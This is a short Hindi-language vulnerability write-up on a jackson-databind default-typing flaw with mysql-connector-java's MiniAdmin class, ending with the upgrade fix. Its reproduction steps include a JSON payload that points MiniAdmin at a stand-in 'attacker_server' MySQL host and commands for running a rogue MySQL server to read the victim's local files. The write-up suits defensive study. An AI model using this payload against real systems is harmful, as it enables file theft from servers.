
जब Default Typing सक्षम होती है, और classpath में mysql-connector-java 8.0.15 (2019.2.1 को जारी) या उससे नीचे के संस्करण मौजूद होते हैं, तो हमलावर दुर्भावनापूर्ण json डेटा भेजकर मनमानी फ़ाइलें पढ़ सकता है। mysql-connector-java लाइब्रेरी डेटाबेस से कनेक्ट करने के लिए सामान्यतः उपयोग होने वाला mysql jdbc है।
CVE विवरण निम्नलिखित है:
FasterXML jackson-databind 2.x में 2.9.9 से पहले एक Polymorphic Typing समस्या पाई गई। जब किसी बाहरी रूप से उजागर JSON endpoint के लिए Default Typing (वैश्विक रूप से या किसी विशेष property के लिए) सक्षम होती है, सेवा के classpath में mysql-connector-java jar (8.0.14 या उससे पहले) होता है, और एक हमलावर पीड़ित के लिए पहुंच योग्य एक क्राफ्टेड MySQL सर्वर होस्ट कर सकता है, तो हमलावर एक क्राफ्टेड JSON संदेश भेज सकता है जो उन्हें सर्वर पर मनमानी स्थानीय फ़ाइलें पढ़ने की अनुमति देता है। यह com.mysql.cj.jdbc.admin.MiniAdmin सत्यापन की कमी के कारण होता है।
भेद्यता विवरण:
com.mysql.cj.jdbc.admin.MiniAdmin का constructor एक string मान स्वीकार करता है, यह मान jdbcURL का प्रतिनिधित्व करता है, com.mysql.cj.jdbc.admin.MiniAdmin class initialization के समय इस jdbcURL में निर्दिष्ट MySQL डेटाबेस से कनेक्ट होता है।python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
jackson को 2.9.9 या उससे ऊपर के संस्करण में अपग्रेड करें।